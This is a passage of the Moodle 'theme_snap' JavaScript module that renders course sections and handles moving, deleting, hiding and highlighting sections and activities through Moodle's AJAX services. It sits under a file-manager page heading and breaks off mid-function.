Sindbad~EG File Manager
/**
* This file is part of Moodle - http://moodle.org/
*
* Moodle is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Moodle is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Moodle. If not, see <http://www.gnu.org/licenses/>.
*
* @package
* @copyright Copyright (c) 2015 Open LMS (https://www.openlms.net)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define(['jquery', 'core/log', 'core/ajax', 'core/str', 'core/templates', 'core/notification',
'theme_snap/util', 'theme_snap/ajax_notification', 'theme_snap/footer_alert',
'core_filters/events', 'core/fragment'],
function($, log, ajax, str, templates, notification, util, ajaxNotify, footerAlert, Event, fragment) {
var self = this;
/**
* Items being moved - actual dom elements.
* @type {array}
*/
var movingObjects = [];
/**
* Item being moved - actual dom element.
* @type {object}
*/
var movingObject;
/**
* @type {boolean}
*/
var ajaxing = false;
var ajaxTracker;
/**
* Sections that are being retrieved by the API.
* @type {Array}
*/
var sectionsProcess = [];
/**
* Module html caching.
* @type {object|null}
*/
var moduleCache = null;
/**
* Progress caching.
* @type {Array|null}
*/
var progressCache = null;
/**
* Sets observers for the TOC elements.
*/
var setTocObservers = function () {
if (self.courseConfig.format == 'weeks' || self.courseConfig.format == 'topics') {
$('#course-toc .chapter-title').click(function(e) {
var link = $(e.target);
var section = link.attr('href');
if (typeof section != 'undefined' && section.length > 0) {
getSection(section.split('#section-')[1], 0);
}
});
$('#toc-searchables li a').click(function(e) {
var link = $(e.target);
var urlParams = link.attr('href').split("&"),
section = urlParams[0],
mod = urlParams[1] || null;
section = section.split('#section-')[1];
getSection(section, mod);
});
}
};
/**
* Sets observers for the navigation arrows.
*/
var setNavigationFooterObservers = function () {
if (self.courseConfig.format == 'weeks' || self.courseConfig.format == 'topics') {
$('.section_footer .next_section, .section_footer .icon-arrow-right, ' +
'.section_footer .previous_section, .section_footer .icon-arrow-left').click(function(e) {
var link = $(e.target);
var section = link.attr('section-number');
if(typeof section !== 'undefined' && section.length > 0) {
getSection(section, 0);
}
});
$('.section_footer .text').click(function (e) {
var node = $(e.target);
var section = node.find('.nav_guide').attr('section-number');
if(typeof section !== 'undefined' && section.length > 0) {
getSection(section, 0);
}
});
}
};
/**
* Scroll to a mod via search.
* @param {string} modid
*/
var scrollToModule = function(modid) {
// Sometimes we have a hash, sometimes we don't.
// Strip hash then add just in case.
$('#toc-search-results').html('');
var targmod = $("#" + modid.replace('#', ''));
// http://stackoverflow.com/questions/6677035/jquery-scroll-to-element
util.scrollToElement(targmod);
var searchpin = $("#searchpin");
if (!searchpin.length) {
searchpin = $('<i id="searchpin"></i>');
}
$(targmod).find('.instancename').prepend(searchpin);
$(targmod).attr('tabindex', '-1').focus();
$('#course-toc').removeClass('state-visible');
};
/**
* Update moving message.
*/
var updateMovingMessage = function() {
var title;
if (movingObjects.length === 1) {
var assetname = $(movingObjects[0]).find('.snap-asset-link .instancename').html();
assetname = assetname || M.util.get_string('pluginname', 'label', assetname);
title = M.util.get_string('moving', 'theme_snap', assetname);
} else {
title = M.util.get_string('movingcount', 'theme_snap', movingObjects.length);
}
footerAlert.setTitle(title);
};
/**
* Updates the drop zone with a descriptive text.
* @param {string} sectionName
*/
var updateSectionDropMsg = function (sectionName) {
if (typeof movingObjects !== 'undefined' && movingObjects.length > 0) {
$('.section-drop').each(function() {
var sectionDropMsg = M.util.get_string('movingdropsectionhelp', 'theme_snap',
{moving: sectionName, before: $(this).data('title')}
);
$(this).html(sectionDropMsg);
});
footerAlert.setSrNotice(M.util.get_string('movingstartedhelp', 'theme_snap', sectionName));
}
};
/**
* Gets a specific section for the current course and if an activity module is passed sets focus on it.
* @param {string} section
* @param {string} mod
*/
var getSection = function (section, mod) {
var node = $('#section-' + section);
if (node.length == 0 && sectionsProcess.indexOf(section) == -1) {
sectionsProcess.push(section);
var params = {courseid: self.courseConfig.id, section: section};
$('.sk-fading-circle').show();
// We need to prevent the DOM to show the default section.
$('.course-content .' + self.courseConfig.format + ' li[id^="section-"]').hide();
fragment.loadFragment('theme_snap', 'section', self.courseConfig.contextid, params).done(function(html, js) {
var node = $(html);
renderSection(section, node, mod, js);
var folders = node.find('li.snap-activity.modtype_folder');
$.each(folders, function (index, folder) {
var content = $(folder).find('div.contentwithoutlink div.snap-assettype');
if (content.length > 0) {
if ($(folder).find('div.activityinstance div.snap-header-card .asset-type').length == 0) {
var folderAssetTypeHeader = $(folder).find('div.activityinstance div.snap-header-card');
content.prependTo(folderAssetTypeHeader);
}
}
});
});
}
};
/**
* This functions inserts a section node to the DOM.
* @param {string} section
* @param {node} html
* @param {string} mod
* @param {string} js
*/
var renderSection = function(section, html, mod, js) {
var anchor = $('.course-content');
var existingSections = [];
anchor.find('li[id^=section-]').each(function() {
existingSections.push(parseInt($(this).attr('id').split('section-')[1]));
});
var tempnode = $('<div></div>');
templates.replaceNodeContents(tempnode, html, '');
// Remove from Dom the completion tracking when it is disabled for an activity.
tempnode.find('.snap-header-card .snap-header-card-icons .disabled-snap-asset-completion-tracking').remove();
if (existingSections.length > 0) {
var closest = existingSections.reduce(function(prev, curr) {
return (Math.abs(curr - section) < Math.abs(prev - section) ? curr : prev);
});
if (closest > section) {
anchor.find('#section-' + closest).before(tempnode.find('li[id^="section-"]'));
} else {
anchor.find('#section-' + closest).after(tempnode.find('li[id^="section-"]'));
}
} else {
$('.sk-fading-circle').after(tempnode);
}
templates.runTemplateJS(js);
// Hide loading animation.
$('.sk-fading-circle').hide();
// Notify filters about the new section.
Event.notifyFilterContentUpdated($('.course-content .' + self.courseConfig.format));
var sections = anchor.find('li[id^="section-"]');
// When not present the section, the first one will be shown as default, remove all classes to prevent that.
sections.removeClass('state-visible');
var id = '#section-' + section;
$(id).addClass('state-visible');
if (self.courseConfig.toctype == 'top' && self.courseConfig.format == 'topics' && section > 0) {
var title = $(id).find('.sectionname').html();
var elements = $('.chapter-title');
var tmpid = 0;
// Find the right toc element.
$.each(elements, function(key, element) {
if ($(element).attr('href').split('#section-')[1] == section) {
tmpid = key;
}
});
$(id).find('.sectionname').html(title);
$(id).find('.sectionnumber').html(tmpid + '.');
}
// Leave all course sections as they were.
sections.show();
$(id).find('.section_footer .next_section, .section_footer .icon-arrow-right, ' +
'.section_footer .previous_section, .section_footer .icon-arrow-left').click(function(e) {
var link = $(e.target);
var section = link.attr('section-number');
if(typeof section !== 'undefined' && section.length > 0) {
getSection(section, 0);
}
});
$(id).find('.section_footer .text').click(function (e) {
var node = $(e.target);
var section = node.find('.nav_guide').attr('section-number');
if(typeof section !== 'undefined' && section.length > 0) {
getSection(section, 0);
}
});
// Set observer for mod chooser.
$(id + ' .section-modchooser-link').click(function() {
// Grab the section number from the button.
var sectionNum = $(this).attr('data-sectionid');
$('.snap-modchooser-addlink').each(function() {
// Update section in mod link to current section.
var newLink = this.href.replace(/(section=)[0-9]+/ig, '$1' + sectionNum);
$(this).attr('href', newLink);
});
});
// If a module id has been passed as parameter, set focus.
if (mod != 0 && typeof mod !== 'undefined') {
scrollToModule(mod);
}
var sectionName = $('#region-main .section-moving').find('.sectionname').text();
if (typeof sectionName !== 'undefined' && sectionName.length > 0) {
updateSectionDropMsg(sectionName);
}
var movingId = $('#region-main .section-moving').attr('id');
if (typeof movingId !== 'undefined' && movingId.length > 0) {
$('#section-' + (parseInt(movingId.split('section-')[1]) + 1) +
' .snap-drop.section-drop').removeClass('partial-render');
}
$('#course-toc #chapters li').removeClass('snap-visible-section');
// Set link as current.
$('#course-toc .chapter-title[href="#section-'+ section +'"]').parent('li').addClass('snap-visible-section');
$(id).find('ul.section').append(
'<li class="snap-drop asset-drop">' +
'<div class="asset-wrapper">' +
'<a href="#">' +
M.util.get_string('movehere', 'theme_snap') +
'</a>' +
'</div>' +
'</li>');
};
return {
init: function(courseLib) {
self.courseConfig = courseLib.courseConfig;
/**
* AJAX tracker class - for tracking chained AJAX requests (prevents behat intermittent faults).
* Also, sets and unsets ajax classes on trigger element / child of trigger if specified.
*/
var AjaxTracker = function() {
var triggersByKey = {};
/**
* Starts tracking.
* @param {string} jsPendingKey
* @param {domElement} trigger
* @param {string} subSelector
* @returns {boolean}
*/
this.start = function(jsPendingKey, trigger, subSelector) {
if (this.ajaxing(jsPendingKey)) {
log.debug('Skipping ajax request for ' + jsPendingKey + ', AJAX already in progress');
return false;
}
M.util.js_pending(jsPendingKey);
triggersByKey[jsPendingKey] = {trigger: trigger, subSelector: subSelector};
if (trigger) {
if (subSelector) {
$(trigger).find(subSelector).addClass('ajaxing');
} else {
$(trigger).addClass('ajaxing');
}
}
return true;
};
/**
* Is there an AJAX request in progress.
* @param {string} jsPendingKey
* @returns {boolean}
*/
this.ajaxing = function(jsPendingKey) {
return M.util.pending_js.indexOf(jsPendingKey) > -1;
};
/**
* Completes tracking.
* @param {string} jsPendingKey
*/
this.complete = function(jsPendingKey) {
var trigger, subSelector;
if (triggersByKey[jsPendingKey]) {
trigger = triggersByKey[jsPendingKey].trigger;
subSelector = triggersByKey[jsPendingKey].subSelector;
}
if (trigger) {
if (subSelector) {
$(trigger).find(subSelector).removeClass('ajaxing');
} else {
$(trigger).removeClass('ajaxing');
}
}
delete triggersByKey[jsPendingKey];
M.util.js_complete(jsPendingKey);
};
};
ajaxTracker = new AjaxTracker();
/**
* Get the section number from a section element.
* @param {jQuery|object} el
* @returns {number}
*/
var sectionNumber = function(el) {
if (self.courseConfig.partialrender) {
return (parseInt($(el).attr('id').split('section-')[1]));
} else {
return (parseInt($(el).attr('id').replace('section-', '')));
}
};
/**
* Get the section number for an element within a section.
* @param {object} el
* @returns {number}
*/
var parentSectionNumber = function(el) {
return sectionNumber($(el).parents('li.section.main')[0]);
};
/**
* Moving has stopped, clean up.
*/
var stopMoving = function() {
$('body').removeClass('snap-move-inprogress');
$('body').removeClass('snap-move-section');
$('body').removeClass('snap-move-asset');
footerAlert.hideAndReset();
$('.section-moving').removeClass('section-moving');
$('.asset-moving').removeClass('asset-moving');
$('.snap-asset a').removeAttr('tabindex');
$('.snap-asset button').removeAttr('disabled');
$('.js-snap-asset-move').removeAttr('checked');
movingObjects = [];
if (self.courseConfig.partialrender) {
$('.snap-drop.section-drop').addClass('partial-render');
}
};
/**
* Move fail - sad face :(.
*/
var moveFailed = function() {
var actname = $(movingObject).find('.instancename').html();
footerAlert.removeAjaxLoading();
footerAlert.setTitle(M.util.get_string('movefailed', 'theme_snap', actname));
// Stop moving in 2 seconds so that the user has time to see the failed moving notice.
window.setTimeout(function() {
// Don't pass in target, we want to abort the move!
stopMoving(false);
}, 2000);
};
/**
* Remove moving object from moving objects array.
* @param {object} obj
*/
var removeMovingObject = function(obj) {
var index = movingObjects.indexOf(obj);
if (index > -1) {
movingObjects.splice(index, 1);
}
updateMovingMessage();
};
/**
* General move request
*
* @param {object} params
* @param {function} onSuccess
* @param {bool} finalItem
*/
var ajaxReqMoveGeneral = function(params, onSuccess, finalItem) {
if (ajaxing) {
// Request already made.
log.debug('Skipping ajax request, one already in progress');
return;
}
// Add spinner.
footerAlert.addAjaxLoading();
// Set common params.
params.sesskey = M.cfg.sesskey;
params.courseId = courseLib.courseConfig.id;
params.field = 'move';
log.debug('Making course/rest.php request', params);
var req = $.ajax({
type: "POST",
async: true,
data: params,
url: M.cfg.wwwroot + courseLib.courseConfig.ajaxurl
});
req.done(function(data) {
ajaxNotify.ifErrorShowBestMsg(data).done(function(errorShown) {
if (errorShown) {
log.debug('Ajax request fail');
moveFailed();
return;
} else {
// No errors, call success callback and stop moving if necessary.
log.debug('Ajax request successful');
if (onSuccess) {
onSuccess();
}
if (finalItem) {
if (params.class === 'resource') {
// Only stop moving for resources, sections handle this later once the TOC is reloaded.
stopMoving();
$(movingObject).find('label.snap-asset-move > input.js-snap-asset-move').focus();
}
}
}
});
});
req.fail(function() {
moveFailed();
});
if (finalItem) {
req.always(function() {
ajaxing = false;
footerAlert.removeAjaxLoading();
});
}
};
/**
* Get section title.
* @param {integer} section
* @returns {*|jQuery}
*/
var getSectionTitle = function(section) {
// Get title from TOC.
if (self.courseConfig.partialrender) {
return $('#course-toc #chapters > h3 li a[href="#section-' + section + '"]').text();
} else {
return $('#chapters h3:nth-of-type(' + (section + 1) + ') .chapter-title').html();
}
};
/**
* Update next / previous links.
* @param {string} selector
* @return {promise}
*/
var updateSectionNavigation = function(selector) {
var dfd = $.Deferred();
var sections, totalSectionCount;
if (!selector) {
if (self.courseConfig.partialrender) {
selector = '#course-toc #chapters > h3 li a';
} else {
selector = '#region-main .course-content > ul li.section';
}
sections = $(selector);
totalSectionCount = sections.length;
} else {
sections = $(selector);
if (self.courseConfig.partialrender) {
var allSections = $('#course-toc #chapters > h3 li a');
} else {
var allSections = $('#region-main .course-content > ul li.section');
}
totalSectionCount = allSections.length;
}
var completed = 0;
$.each(sections, function(idx, el) {
if (self.courseConfig.partialrender) {
var href = $(el).attr('href');
var sectionNum;
if (typeof href !== typeof undefined && href !== false) {
sectionNum = parseInt($(el).attr('href').split('#section-')[1]);
} else {
sectionNum = parseInt($(el).attr('id').split('section-')[1]);
}
} else {
var sectionNum = sectionNumber(el);
}
var previousSection = sectionNum - 1;
var nextSection = sectionNum + 1;
var previous = false;
var next = false;
var hidden, extraclasses;
if (previousSection > -1) {
if (self.courseConfig.partialrender) {
hidden = $('#section-' + previousSection).hasClass('draft');
} else {
hidden = $('#section-' + previousSection).hasClass('hidden');
}
extraclasses = hidden ? ' dimmed_text' : '';
previous = {
section: previousSection,
title: getSectionTitle(previousSection),
classes: extraclasses
};
}
if (nextSection < totalSectionCount) {
if (self.courseConfig.partialrender) {
hidden = $('#section-' + nextSection).hasClass('draft');
} else {
hidden = $('#section-' + nextSection).hasClass('hidden');
}
extraclasses = hidden ? ' dimmed_text' : '';
next = {
section: nextSection,
title: getSectionTitle(nextSection),
classes: extraclasses
};
}
var navigation = {
previous: previous,
next: next
};
templates.render('theme_snap/course_section_navigation', navigation)
.done(function(result) {
var target = $('#section-' + sectionNum + ' .section_footer');
if (target.length > 0) {
target.replaceWith(result);
}
completed++;
if (completed === sections.length) {
dfd.resolve();
}
});
});
return dfd.promise();
};
/**
* Calculates how the sections are ordered after moving.
* @param {array} sections
* @param {int} oldIndex
* @param {int} newIndex
* @returns {array}
*/
var calculateSections = function (sections, oldIndex, newIndex) {
if (newIndex >= sections.length) {
var k = newIndex - sections.length + 1;
while (k--) {
sections.push(undefined);
}
}
sections.splice(newIndex, 0, sections.splice(oldIndex, 1)[0]);
return sections;
};
/**
* Update sections.
* @param {int} current
* @param {int} target
* @param {array} predeleteSections
* @param {string} deletedSection
*/
var updateSections = function(current, target, predeleteSections, deletedSection) {
if (courseLib.courseConfig.partialrender) {
var loadedSections = [];
var sections = [];
if (current != 0 && target != 0) {
$.each($('#course-toc #chapters > li a'), function (idx, obj) {
sections.push($(obj).attr('href').split('#section-')[1]);
});
var newOrder = calculateSections(sections, current, target);
} else {
sections = predeleteSections;
predeleteSections.splice(deletedSection, 1);
var newOrder = predeleteSections;
}
$.each($('#region-main .course-content > ul li.section'), function(idx, obj) {
var value = $(obj).attr('id').split('section-')[1];
var key = newOrder.indexOf(value);
var chapterTitle = getSectionTitle(key);
var fullTitle = chapterTitle;
$(obj).attr('id', 'section-' + key);
if (self.courseConfig.toctype == 'top' && self.courseConfig.format == 'topics' && key > 0) {
fullTitle = `<span class='sectionnumber'> ${key}.</span>${chapterTitle}`;
}
$('#section-' + key + ' .content .sectionname').html(fullTitle);
loadedSections.push(key);
// Update the attribute.
$(obj).find('.section-modchooser-link').attr('data-sectionid', key);
});
sectionsProcess = loadedSections;
} else {
// Renumber section ids, rename section titles.
$.each($('#region-main .course-content > ul li.section'), function(idx, obj) {
$(obj).attr('id', 'section-' + idx);
// Get title from TOC (note that its idx + 1 because first entry is
// introduction.
var chapterTitle = getSectionTitle(idx);
// Update section title with corresponding TOC title - this is necessary
// for weekly topic courses where the section title needs to stay the
// same as the TOC.
var fullTitle = chapterTitle;
if (self.courseConfig.toctype == 'top' && self.courseConfig.format == 'topics' && idx > 0) {
fullTitle = `<span class='sectionnumber'></span>${chapterTitle}`;
}
$('#section-' + idx + ' .content .sectionname').html(fullTitle);
// Update section data attribute to reflect new section idx.
$(this).find('.section-modchooser-link').attr('data-sectionid', idx);
});
}
updateSectionNavigation().done(function() {
if (courseLib.courseConfig.partialrender) {
setCourseSectionObervers();
}
});
};
/**
* Delete section dialog and confirm function.
* @param {object} e
* @param {object} el
*/
var sectionDelete = function(e, el) {
e.preventDefault();
var sectionNum = parentSectionNumber(el);
var section = $('#section-' + sectionNum);
var sectionName = section.find('.sectionname').text();
/**
* Delete section.
*/
var doDelete = function() {
if (!ajaxTracker.start('section_delete', el)) {
// Already in progress.
return;
}
var delProgress = M.util.get_string('deletingsection', 'theme_snap', sectionName);
footerAlert.addAjaxLoading('');
footerAlert.show();
footerAlert.setTitle(delProgress);
var params = {
courseshortname: courseLib.courseConfig.shortname,
action: 'delete',
sectionnumber: sectionNum,
value: 1,
loadmodules: true,
};
log.debug('Making course/rest.php section delete request', params);
// Make ajax call.
var ajaxPromises = ajax.call([
{
methodname: 'theme_snap_course_sections',
args: params
}
], true, true);
var sections = [];
$.each($('#course-toc #chapters > li a'), function (idx, obj) {
sections.push($(obj).attr('href').split('#section-')[1]);
});
// Handle ajax promises.
ajaxPromises[0]
.done(function(response) {
// Update TOC.
templates.render('theme_snap/course_toc', response.toc)
.done(function(result) {
$('#course-toc').html($(result).html());
$(document).trigger('snapTOCReplaced');
// Remove section from DOM.
section.remove();
updateSections(0, 0, sections, sectionNum);
// Current section no longer exists so change location to previous section.
if (self.courseConfig.partialrender) {
var chapters = $('.chapter-title');
var ids = [];
$.each(chapters, function (key, element) {
ids.push($(element).attr('href').split('#section-')[1]);
});
var closest = ids.reduce(function(prev, curr) {
return (Math.abs(curr - sectionNum) < Math.abs(prev - sectionNum) ? curr : prev);
});
location.hash = 'section-' + closest;
if ($('li#section-' + closest).length == 1) {
courseLib.showSection();
} else {
getSection(closest, 0);
}
} else {
if (sectionNum >= $('.course-content > ul li.section').length) {
location.hash = 'section-' + (sectionNum - 1);
}
courseLib.showSection();
}
// We can't complete the action in the 'always' section because we want it to
// definitely be called after the section is removed from the DOM.
ajaxTracker.complete('section_delete');
})
.always(function() {
// Allow another request now this has finished.
footerAlert.hideAndReset();
})
.fail(function() {
ajaxTracker.complete('section_delete');
});
})
.fail(function(response) {
ajaxNotify.ifErrorShowBestMsg(response);
footerAlert.hideAndReset();
// Allow another request now this has finished.
ajaxTracker.complete('section_delete');
});
};
var delTitle = M.util.get_string('confirm', 'moodle');
var delConf = M.util.get_string('confirmdeletesection', 'moodle', sectionName);
var ok = M.util.get_string('deletesectionconfirm', 'theme_snap');
var cancel = M.util.get_string('cancel', 'moodle');
notification.confirm(delTitle, delConf, ok, cancel, doDelete);
};
/**
* Generic action handler for all asset actions.
* @param {event} e
* @param {domNode} triggerEl
*/
var assetAction = function(e, triggerEl) {
e.preventDefault();
var assetEl = $($(triggerEl).parents('.snap-asset')[0]),
cmid = Number(assetEl[0].id.replace('module-', '')),
instanceName = assetEl.find('.instancename').text().trim(),
action = $(triggerEl).data('action'),
errActionKey = '',
errMessageKey = '',
errAction = '',
errMessage = '',
jsPendingKey = 'asset_' + action;
if (ajaxTracker.ajaxing(jsPendingKey)) {
// Already in progress.
// We check this because we don't want to show the confirmation dialog when in progress.
return;
}
var actionAJAX = function() {
if (!ajaxTracker.start(jsPendingKey, assetEl, '.snap-edit-asset-more')) {
// Request already made.
return;
}
var params = {
'action': action,
'sectionreturn': 0,
'id': cmid
};
ajax.call([
{
methodname: 'core_course_edit_module',
args: params
}
], true, true)[0]
.done(function(response) {
ajaxNotify.ifErrorShowBestMsg(response, errAction, errMessage).done(function(errorShown) {
ajaxTracker.complete(jsPendingKey);
if (errorShown) {
log.debug('Ajax request fail');
return;
} else {
log.debug('Ajax request successful');
// Reset module cache.
moduleCache = null;
progressCache = null;
if (action === 'delete') {
// Remove asset from DOM.
assetEl.remove();
// Remove asset searchable.
$('#toc-searchables li[data-id="' + cmid + '"]').remove();
} else if (action === 'show') {
assetEl.removeClass('draft');
assetEl.removeClass('stealth');
} else if (action === 'hide') {
assetEl.removeClass('stealth');
assetEl.addClass('draft');
} else if (action === 'duplicate') {
assetEl.replaceWith(response);
} else if (action === 'stealth') {
assetEl.addClass('stealth');
assetEl.removeClass('draft');
}
}
});
})
.fail(function(response) {
ajaxNotify.ifErrorShowBestMsg(response, errAction, errMessage).done(function() {
ajaxTracker.complete(jsPendingKey);
});
})
.always(function() {
footerAlert.hideAndReset();
});
};
/**
* Get error strings incase of AJAX failure.
* @returns {*|Promise}
*/
var getErrorStrings = function() {
if (action === 'duplicate') {
errActionKey = 'action:duplicateasset';
errMessageKey = 'error:failedtoduplicateasset';
} else if (action === 'show' || action === 'hide') {
errActionKey = 'action:changeassetvisibility';
errMessageKey = 'error:failedtochangeassetvisibility';
} else if (action === 'delete') {
errActionKey = 'action:deleteasset';
errMessageKey = 'error:failedtodeleteasset';
}
return str.get_strings([
{key: errActionKey, component: 'theme_snap'},
{key: errMessageKey, component: 'theme_snap'}
]);
};
getErrorStrings().then(function(strings) {
errAction = strings[0];
errMessage = strings[0];
if (action === 'delete') {
// Create confirmation strings.
var delConf = '',
plugindata = {
type: M.util.get_string('pluginname', assetEl.attr('class').match(/modtype_([^\s]*)/)[1])
};
if (instanceName !== '') {
plugindata.name = instanceName;
delConf = M.util.get_string('deletechecktypename', 'moodle', plugindata);
} else {
delConf = M.util.get_string('deletechecktype', 'moodle', plugindata);
}
var delTitle = M.util.get_string('confirm', 'moodle');
var ok = M.util.get_string('deleteassetconfirm', 'theme_snap', plugindata.type);
var cancel = M.util.get_string('cancel', 'moodle');
notification.confirm(delTitle, delConf, ok, cancel, actionAJAX);
} else {
actionAJAX();
}
});
};
/**
* Ajax request to move asset to target.
* @param {object} target
*/
var ajaxReqMoveAsset = function(target) {
var params = {};
log.debug('Move objects', movingObjects);
// Prepare request parameters
params.class = 'resource';
updateMovingMessage();
movingObject = movingObjects.shift();
params.id = Number(movingObject.id.replace('module-', ''));
if (target && !$(target).hasClass('snap-drop')) {
params.beforeId = Number($(target)[0].id.replace('module-', ''));
} else {
params.beforeId = 0;
}
if (document.body.id === "page-site-index") {
params.sectionId = 1;
} else {
if (target) {
params.sectionId = parentSectionNumber(target);
} else {
params.sectionId = parentSectionNumber(movingObject);
}
}
if (movingObjects.length > 0) {
ajaxReqMoveGeneral(params, function() {
$(target).before($(movingObject));
// recurse
ajaxReqMoveAsset(target);
}, false);
} else {
ajaxReqMoveGeneral(params, function() {
$(target).before($(movingObject));
}, true);
}
};
/**
* Ajax request to move section to target.
* @param {str|object} dropzone
*/
var ajaxReqMoveSection = function(dropzone) {
var domTargetSection = parentSectionNumber(dropzone);
var currentSection = sectionNumber(movingObjects[0]);
var targetSection = currentSection < domTargetSection ?
domTargetSection - 1 :
domTargetSection;
var params = {
"class": 'section',
id: currentSection,
value: targetSection
};
ajaxReqMoveGeneral(params, function() {
// Update TOC chapters.
ajax.call([
{
methodname: 'theme_snap_course_toc_chapters',
args: {
courseshortname: courseLib.courseConfig.shortname
},
done: function(response) {
// Update TOC.
templates.render('theme_snap/course_toc_chapters', response.chapters)
.done(function(result) {
// Update chapters.
$('#chapters').replaceWith(result);
// Move current section before target section.
$('#section-' + domTargetSection).before($('#section-' + currentSection));
// Update section ids, next previous links, etc.
updateSections(currentSection, targetSection, [], null);
// Navigate to section in its new location.
location.hash = 'section-' + targetSection;
courseLib.showSection();
// Finally, we have finished moving the section!
stopMoving();
});
},
fail: function(response) {
ajaxNotify.ifErrorShowBestMsg(response);
stopMoving();
}
}
], true, true);
}, true);
};
/**
* Listen for edit action clicks, hide, show, duplicate, etc..
*/
var assetEditListeners = function() {
var actionSelectors = '.snap-asset-actions .js_snap_hide, ';
actionSelectors += '.snap-asset-actions .js_snap_show, ';
actionSelectors += '.snap-asset-actions .js_snap_delete, ';
actionSelectors += '.snap-asset-actions .js_snap_duplicate,';
actionSelectors += '.snap-asset-actions .js_snap_stealth';
$(document).on('click', actionSelectors, function(e) {
assetAction(e, this);
});
};
/**
* Generic section action handler.
*
* @param {string} action visibility, highlight
* @param {null|function} onComplete for when completed.
*/
var sectionActionListener = function(action, onComplete) {
$('#region-main').on('click', '.snap-section-editing.actions .snap-' + action, function(e) {
e.stopPropagation();
e.preventDefault();
var trigger = this;
/**
* Invalid section action exception.
*
* @param {string} action
*/
var InvalidActionException = function(action) {
this.message = 'Invalid section action: ' + action;
this.name = 'invalidActionException';
};
// Check action is valid.
var validactions = ['visibility', 'highlight'];
if (validactions.indexOf(action) === -1) {
throw new InvalidActionException(action);
}
if (!ajaxTracker.start('section_' + action, trigger)) {
// Request already in progress.
return;
}
// For toggling visibility.
var toggle, loadModules = true;
if (action === 'visibility') {
toggle = $(this).hasClass('snap-hide') ? 0 : 1;
if (moduleCache && moduleCache.length > 0 && progressCache && progressCache.length > 0) {
loadModules = false;
}
} else {
// For toggling highlight/mark as current.
toggle = $(this).attr('aria-pressed') === 'true' ? 0 : 1;
}
var sectionNumber = parentSectionNumber(this);
var sectionActionsSelector = '#section-' + sectionNumber + ' .snap-section-editing';
var actionSelector = sectionActionsSelector + ' .snap-' + action;
// Make ajax call.
var ajaxPromises = ajax.call([
{
methodname: 'theme_snap_course_sections',
args : {
courseshortname: courseLib.courseConfig.shortname,
action: action,
sectionnumber: sectionNumber,
value: toggle,
loadmodules: loadModules,
}
}
], true, true);
// Handle ajax promises.
ajaxPromises[0]
.fail(function(response) {
var errMessage, errAction;
if (action === 'visibility') {
errMessage = M.util.get_string('error:failedtochangesectionvisibility', 'theme_snap');
errAction = M.util.get_string('action:changesectionvisibility', 'theme_snap');
} else {
errMessage = M.util.get_string('error:failedtohighlightsection', 'theme_snap');
errAction = M.util.get_string('action:highlightsectionvisibility', 'theme_snap');
}
ajaxNotify.ifErrorShowBestMsg(response, errAction, errMessage).done(function() {
// Allow another request now this has finished.
ajaxTracker.complete('section_' + action);
});
}).always(function() {
$(trigger).removeClass('ajaxing');
}).done(function(response) {
// Update section action and then reload TOC.
return templates.render('theme_snap/course_action_section', response.actionmodel)
.then(function(result) {
$(actionSelector).replaceWith(result);
$(actionSelector).focus();
// Update TOC.
if (!loadModules) {
if (moduleCache && moduleCache.length > 0 && response.toc.modules.length === 0) {
// Modules not loaded on request. Replacing them on the toc.
response.toc.modules = moduleCache;
}
if (progressCache && progressCache.length > 0) {
var progressCacheCopy = progressCache.slice(0);
$.each(response.toc.chapters.chapters, function(index) {
response.toc.chapters.chapters[index].progress = progressCacheCopy.shift();
});
}
}
if (loadModules) {
// Caching modules for future use.
moduleCache = response.toc.modules;
// Caching progress for future use.
progressCache = [];
$.each(response.toc.chapters.chapters, function(index, value) {
progressCache.push(value.progress);
});
}
return templates.render('theme_snap/course_toc', response.toc);
}).then(function(result) {
$('#course-toc').html($(result).html());
$(document).trigger('snapTOCReplaced');
if (onComplete && typeof (onComplete) === 'function') {
var completion = onComplete(sectionNumber, toggle);
if (self.courseConfig.partialrender) {
if (typeof onComplete === 'function') {
ajaxTracker.complete('section_' + action);
}
} else {
if (completion && typeof (completion.always) === 'function') {
// Callback returns a promise, js no longer running.
completion.always(
function() {
// Allow another request now this has finished.
ajaxTracker.complete('section_' + action);
}
);
} else {
// Callback does not return a promise, js no longer running.
// Allow another request now this has finished.
ajaxTracker.complete('section_' + action);
}
}
} else {
// Allow another request now this has finished.
ajaxTracker.complete('section_' + action);
}
});
});
});
};
/**
* Highlight section on click.
*/
var highlightSectionListener = function() {
sectionActionListener('highlight', function(sectionNumber) {
$('#section-' + sectionNumber).toggleClass('current');
// Reset sections which are not highlighted.
var $notCurrent = $('li.section.main')
.not('#section-' + sectionNumber)
.not('#section-0').removeClass("current");
$notCurrent.each(function() {
var highlighter = $(this).find('.snap-highlight');
var sectionNumber = parentSectionNumber(highlighter);
var newLink = $(highlighter).attr('href').replace(/(marker=)[0-9]+/ig, '$1' + sectionNumber);
$(highlighter).attr('href', newLink).attr('aria-pressed', 'false');
});
});
};
/**
* Delete section on click.
*/
var deleteSectionListener = function() {
$(document).on('click', '.snap-section-editing.actions .snap-delete', function(e) {
sectionDelete(e, this);
});
};
/**
* Toggle section visibility on click.
*/
var toggleSectionListener = function() {
/**
* Toggle hidden class and update section navigation.
* @param {number} sectionNumber
* @param {boolean} toggle
* @returns {Promise}
*/
var manageHiddenClass = function(sectionNumber, toggle) {
if (toggle === 0) {
$('#section-' + sectionNumber).addClass('hidden');
} else {
$('#section-' + sectionNumber).removeClass('hidden');
$('#section-' + sectionNumber + ' .stealth-section-hidden').removeClass('stealth');
$('#section-' + sectionNumber + ' .stealth-section-hidden').removeClass('stealth-section-hidden');
}
// Update the section navigation either side of the current section.
var selectors = [
'#section-' + (sectionNumber - 1),
'#section-' + (sectionNumber + 1)
];
var selector = selectors.join(',');
return updateSectionNavigation(selector);
};
sectionActionListener('visibility', manageHiddenClass);
};
/**
* Show footer alert for moving.
*
* @param {domNode} focusEl The element to be focused after this callback.
*/
var footerAlertShowMove = function(focusEl = null) {
footerAlert.show(function(e) {
e.preventDefault();
stopMoving();
if (focusEl !== null) {
focusEl.focus();
}
});
};
/**
* When section move link is clicked, get the data we need and start the move.
*/
var moveSectionListener = function() {
// Listen clicks on move links.
$("#region-main").on('click', '.snap-section-editing.actions .snap-move', function(e) {
